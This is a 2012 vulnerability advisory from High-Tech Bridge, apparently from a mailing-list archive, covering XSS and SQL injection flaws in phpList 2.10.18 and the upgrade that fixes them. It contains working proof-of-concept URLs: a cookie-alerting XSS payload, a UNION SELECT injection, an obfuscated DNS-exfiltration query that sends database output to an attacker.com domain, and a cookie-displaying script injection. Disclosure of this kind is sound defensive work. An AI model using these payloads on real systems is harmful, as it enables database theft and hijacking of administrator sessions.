[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Multiple Vulnerabilities in phpList



Advisory ID: HTB23100
Product: phpList
Vendor: phpList Ltd
Vulnerable Version(s): 2.10.18 and probably prior
Tested Version: 2.10.18
Vendor Notification: July 11, 2012 
Public Disclosure: August 8, 2012 
Vulnerability Type: Cross-Site Scripting [CWE-79], SQL Injection [CWE-89]
CVE References: CVE-2012-3952, CVE-2012-3953
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 
(AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: Medium 
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities 
in phpList, which can be exploited to perform Cross-Site Scripting (XSS) and 
SQL Injection attacks against the vulnerable application.


1) Cross-Site Scripting (XSS) in phpList: CVE-2012-3952

Input passed via the "unconfirmed" GET parameter to /admin/index.php (when 
"page" is set to "user") is not properly sanitised before being returned to the 
user.

This can be exploited to execute arbitrary HTML and script code in 
administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:


http://[host]/admin/?page=user&find=1&unconfirmed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E



2) SQL Injection in phpList: CVE-2012-3953

Input passed via the "delete" GET parameter to /admin/index.php (when "page" is 
set to "editattributes") is not properly sanitised before being used in SQL 
query.

This can be exploited to manipulate SQL queries by injecting arbitrary SQL 
code. However successful exploitation of this vulnerability requires 
administrator's privileges. 


The following PoC demonstrates vulnerability exploitation under administrator's 
account:


http://[host]/admin/?page=editattributes&id=1&delete=1 union select version() --



Alternative exploitation of the SQL injection can be performed via XSRF vector 
and does not require administrative privileges. The PoC code below is based on 
DNS Exfiltration technique and may be used if the database of the vulnerable 
application is hosted on a Windows system. The PoC will send a DNS request 
demanding IP addess for `version()` (or any other sensetive output from the 
database) subdomain of ".attacker.com" (a domain name, DNS server of which is 
controlled by the attacker):


http://[host]/admin/?page=editattributes&id=1&delete=1 union select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))
 -- 



Second alternative is to exploit this SQL injection vulnerability also via XSRF 
vector, but to perform XSS attack against logged-in administrator. The 
following PoC code will simply display administrator cookies:


http://[host]/admin/?page=editattributes&id=1&delete=1 union select 
char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62)
 -- 




-----------------------------------------------------------------------------------------------

Solution:

Upgrade to phpList 2.10.19

More Information:
http://www.phplist.com/?lid=579

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23100 - 
https://www.htbridge.com/advisory/HTB23100 - Cross-Site Scripting (XSS) in 
phpList.
[2] phpList - http://www.phplist.com - phpList is the world's most popular open 
source email campaign manager.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.